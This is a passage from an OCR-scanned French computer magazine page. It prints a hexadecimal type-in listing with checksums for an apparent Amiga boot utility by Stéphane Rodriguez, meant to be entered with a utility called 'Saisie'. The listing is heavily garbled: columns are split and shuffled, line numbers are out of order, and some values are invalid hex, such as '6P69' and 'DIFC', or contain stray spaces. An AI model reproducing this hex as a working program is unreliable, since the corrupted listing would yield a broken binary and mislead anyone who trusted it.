l'utilitaire Amiga Saisie (repor¬ 
tez-vous à son mode d'em¬ 
ploi). Longueur en octets à 
spécifier: 2204. Bootez bien! 

Stéphane Rodriguez 


00001:0000 03F3 0000 0000 
00002:0000 0001 0000 0202 
00003:0000 0202 2C79 0000 
00004:4EAE FE68 23C0 0000 
00005:0000 01F2 243C 0000 
00006:4A80 23C0 0000 01EE 
00007:0000 0219 263C 0000 
00008:0006 00BF E001 670E 


0000 0002 0000 0000 :03F5 
0000 0001 0000 03E9:05ED 
0004 43F9 0000 01DE: 7456 
01EA 6700 0066 223C:FC62 
03ED 2C40 4EAE FFE2:A4EB 
6700 0048 2200 243C:1DB2 
01CF 4EAE FFD0 0839:80DB 
0839 000A 00DF F016:410C 



00009:66EC 
00010:01EA 
00011:FE62 
00012:4EAE 


6120 60E8 
4EAE FFDC 
4E75 6100 
FEDA 23C0 


2239 0000 
224E 2C79 
00C8 2C79 
0000 01CE 


01EE 2C79 
0000 0004 
0000 0004 
43F9 0000 


0000:7994 
4EAE:EDED 
93C9:6EE5 
01BE:B8CD 


00013:4EAE 
00014:0000 
00015:0000 
00016:0010 
00017:016E 
00018:237C 
00019:2079 
00020:3370 
00021:43F9 
00022:0000 
00023:FE98 
00024:0000 
00025:D098 
00026:4E75 
00027:0000 
00028 :0000 
00029:0000 
00030:0000 
00031:0000 
00032:0000 
00033:0000 
00034:5D20 
00035:3430 
00036:6F63 
00037:3332 
00038:6F64 
00039:659B 
00040:6F6F 
00041:3121 
00042:2070 
00043:7420 
00044:7065 
00045:7068 
00046:6F6F 
00047:7273 
00048:2064 
00049:6E73 
00050:7320 
00051:6074 
00052:6F75 
00053:20E0 
00054:6174 
00055:6573 
00056:0A63 
00057:7527 
00058:6F69 


FE9E 43F9 
03E8 4EAE 
016E 2370 
2079 0000 
3370 0003 
0000 0400 
0000 0004 
0004 0010 
0000 016E 
0024 4EAE 
43F9 0000 
03FA 43E8 
6400 0004 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
646F 732E 
0000 30FB 
2F32 3030 
6B20 4D61 
3B34 306D 
7269 6775 
333B 3333 
7462 6C6F 
0D0A 0A9B 
726F 6772 
6465 2070 
7469 7465 
6971 7565 
7462 6C6F 
2030 2065 
6973 7175 
6920 2060 
6061 2063 
E972 6965 
730D 0A61 
2063 6574 
696F 6E2C 
7468 E974 
6563 6920 
E020 6061 
7265 2060 


0000 016E 
FE44 4A80 
0000 01BE 
0004 4EAE 
0010 2370 
0024 2370 
4EAE FE38 
2079 0000 
3370 0009 
FE38 43F9 
016E 4EAE 
0004 4291 
5280 5109 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
6069 6272 
434F 4E3A 
2F2A 2A20 
6B65 7220 
5374 E970 
657A 2070 
3B34 306D 
636B 206D 
303B 3331 
616D 6D65 
6061 6365 

2069 6E74 
0D0A 7375 
636B 2028 
7420 3129 
6574 7465 
6F72 7371 
6861 7267 
7572 656D 
7572 657A 
7465 2070 

2070 6173 
6971 7565 
6E27 6573 
2070 6061 
696D 6974 


4280 4281 
6600 FFC6 
000E 3370 
FE38 43F9 
0000 03FA 
0000 0000 
43F9 0000 
0004 4EAE 
0010 2370 
0000 01BE 
FE3E 4E75 
3230 00FF 
FFF6 4680 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
0000 0000 
6172 7900 
302F 3130 
426F 6F74 
2A2A 009B 
6861 6E65 
72E9 7365 
2174 6865 
616B 6572 
3B34 306D 
2070 6572 
7220 756E 
726F 2067 
7220 6065 
7365 6374 
2064 2775 
2E0D 0A0A 
7565 2076 
6572 657A 
656E 742E 
2064 726F 
72E9 7365 
2074 72E8 
206D 6169 
7420 6475 
6365 206D 
E965 0D0A 


41F9:59AD 
43F9:4519 
0005:5A37 
0000:BD78 
0028:5CA7 
0020:4B48 
016E:BECA 
FE38:ACFF 
0000:9084 
4EAE:E16F 
41F9:2159 
7000:2DB2 
2280:41DB 
0000:4E75 
0000:0000 
0000:0000 
0000:0000 
0000:0000 
0000:0000 
0000:0000 
0000:80EA 
2F36:B039 
426C:E12B 
333B: 6369 
2052:D2CF 
6E74:23EE 
2062 :E1E5 
2076:BB6B 
4365:5B38 
6D65:BC6A 
6520:1569 
7261:ED47 
2062:CEA4 
6575:1021 
6E65:0E8F 
4169:4EA5 
6F75:E03E 
2075:C60D 
2056:9410 
6974:0416 
6E74:904E 
7320:C16E 
730D:9708 
2071 :A586 
E96D:BBB8 
0A0A:D594 


74 











00059:5072 6573 7365 7A20 
00060:6E20 6472 6P69 7420 
00061:7572 6973 2070 6F75 
00062:6172 6465 720D 0A65 
00063:746F 6E20 6761 7563 
00064:7265 746F 7572 6E65 
00065:6B42 656E 6368 2E9B 
00066:6B64 6973 6B2E 6465 
00067:5300 0000 0000 0000 
00068:001A 4EAE FFA0 4A80 
00069:0016 7000 4E75 7001 
00070:6272 6172 7900 48E7 
00071:203C 0000 281C 223C 
00072:2A40 2A80 2B40 0004 
00073:2B40 0008 06AD 0000 
00074:206D 0004 202D 0008 
00075:30FC 00E2 4840 30C0 
00076:00DF F000 317C 03A0 
00077:4268 0088 217C 0000 
00078:30C1 008E 217C 0038 
00079:0100 42A8 0102 42A8 
00080:0008 D1FC 0000 0E96 
00081:0000 0009 10D9 51C8 
00082:5109 FFEC 33FC 8380 
00083:2079 0000 0004 2255 
00084:FF2E 4CDF 7FFF 4E75 
00085:7200 7410 3301 00DF 
00086:51CA FFF2 0839 0006 
00087:6100 003E 4E75 7649 
00088:13FC 0087 00BF D100 
00089:FF7C 3B79 00DF F01C 
00090:3B79 00DF F002 0000 
00091:33FC 7FFF 00DF F09A 
00092:33FC 7FFF 00DF F096 
00093:2079 0000 0004 43FA 
00094:2040 23E8 0026 00DF 
00095:2240 4EAE FE62 4EAE 
00096:6869 6373 2E6C 6962 
00097 :FFFF FFFF FFFF FFFF 
00098:0001 BFFF FFFF FFFF 
00099:0000 0000 000D A7FF 
00100:A7E0 3EFF 7FFF FF9F 
00101:FEDF FFE5 A7FB 8CCE 
00102:B6BF 5FD6 B6DA B3E5 
00103:77E5 A7FB B6EF 7756 
00104:4712 4F09 23E5 A7FF 
00105:A7FF FF3F FFFF FF3F 
00106:FFBF BFE5 A71A CE2D 
00107:B5AD 7BDB 75AB B565 
00108:B565 A76D B5AD 7BDB 
00109:9009 0653 8EE5 A77F 
00110:A77F FFFF FFFF FFFF 
00111:FFFF FFE5 A7FF FFFF 
00112:FFFF FFFF FFFF FFE5 
00113:83E5 A7F8 F7D9 33DB 
00114:7BDB BCF7 EFE5 A7FA 
00115:A7F0 77DD 7BD7 BFB7 
00116:B5B6 EFE5 A7E2 2083 
00117:FFFF FFFF FFFF FFE5 
00118:FFE5 A7FF FFFF FFFF 
00119:FFFF FFFF FFE5 A7FF 
00120:A7FF FEFE F9B5 ADFF 
00121:ADFF FFE5 A7FF FDDF 
00122:FDDF 7DC5 B1FF FFE5 
00123 :FFE5 A7FF FEE6 F89E 
00124 :FFFF FFFF FFE5 A7FF 
00125:A7FF FFFF FFFF FFFF 
00126:0000 000D BFFF FFFF 
00127:0000 0000 0000 0001 
00128:FFFF 0000 0000 0000 
00129:0000 0000 0000 0000 
00130:0000 0000 0000 0000 
00131:0000 0000 0000 0000 
00132:0000 0014 0000 0000 
00133:0000 0010 0000 0030 
00134:0000 006A 0000 0092 
00135:0000 00AC 0000 00BC 
00136:0000 00E6 0000 0108 
00137:0000 0140 0000 0140 
00138:0000 03EB 0000 0001 


6065 2062 6F75 746F:1415 
6465 2060 6120 736F:0F7B 
7220 7361 7576 6567:2F28 
7420 6065 2062 6F75:B2A5 
6865 2070 6F75 7220:29BD 
7220 6175 2057 6F72:2E09 
3020 7000 7472 6163:D8A8 
7669 6365 0000 444F:C287 
0370 6100 002A 43FA:FB94 
6700 0000 2040 2068:4090 
4E75 646F 732E 6069:0107 
FFFE 2079 0000 0004:B246 
0001 0002 4EAE FF3A:B87F 
06AD 0000 0016 0004:86CB 
0022 0008 6100 00E2:9401 
30FC 00E0 4840 3000:EB82 
20BC FFFF FFFE 41F9:0D90 
0096 216D 0004 0080:4882 
0FFF 0180 2170 3081:C7E8 
00D0 0092 3170 1200 :97E1 
0108 43FA 0112 206D:EDD3 
2230 0000 0031 2030:2343 
FFFC DIFC 0000 001E: 3400 
00DF F096 6100 001A: 5BC0 
2030 0000 2810 4EAE:E5D8 
33FC 7FF3 00DF F09A:BFE9 
F180 5281 6100 0018:BFC9 
00BF E001 6600 FFE2:A09D 
4E71 51CB FFFC 4E75:14A9 
2079 0000 0004 4EAE:616D 
000E 006D 0000 000E:EC79 
006D 8200 0000 4E75:FD54 
33ED 000E 00DF F09A:CAE8 
33ED 0000 00DF F096:CADE 
0024 7000 4EAE FDD8:2D21 
F080 4279 00DF F088:698D 
FF76 4E75 6772 6170:D4CB 
7261 7279 0000 FFFF:4883 
8000 0000 0000 0000 :7FFC 
FFFF FFFD B000 0000:6FFA 
FFFF FFFF FFFF FFE5:A7EE 
FFE5 A7EA BFFF FFFF: CE4A 
6731 CC47 29E5 A7FB:38E5 
A7FB B6DF 6F96 B6DA:069E 
B6DA F7E5 A7F1 928F:3764 
FFFF FFFF FFFF FFE5:61E1 
3FE5 A7FF FFBF FBFF:8A1E 
9104 CE33 8965 A76C:C5B3 
A76D B5AD 7BDB 65A7:9B34 
55AF B6E5 A718 CE52:1058 
FFFF FFFF FFFF FCE5:D662 
F9E5 A73F FFFF FFFF:489E 
FFFF FFFF FFE5 A7FF:4FC4 
A7FD E383 8787 0620:1909 
B5B6 ABE5 A7FA F7DD:5903 
F7DD 7BC7 8E71 EFE5:C2AB 
EFE5 A7F7 76D9 33DB:9DEB 
8789 0460 C7E5 A7FF:69CD 
A7FF FFFF FFFF FFFF:A7DE 
FFFF FFE5 A7FF FFFF : 4FC4 
FF7D FDCE 73FF FFE5:1911 
FFE5 A7FF FEE6 FDB5:F330 
7DB6 6DFF FFE5 A7FF:E7 5B 
A7FF FDDF 7DED BBFF:0D52 
67FF FFE5 A7FF FEFE:AE49 
FF7D FFFF FFFF FFE5:A742 
FFE5 B000 0000 0000 :57E1 
FFFF FFFF FFFD 8000:4006 
FFFF FFFF FFFF FFFF:FFFD 
0000 0000 0000 0000:FFFF 
0000 0000 0000 0000 : 0000 
0000 0000 0000 0000 : 0000 
0000 0000 0000 03EC:03EC 
0000 0008 0000 0012:002E 
0000 0030 0000 0064 :00EC 
0000 0098 0000 00A2:0236 
0000 0002 0000 00DA:0304 
0000 011E 0000 0136:0442 
0000 0000 0000 03F2:067E 
0000 03F2 0000 0000:07DE 






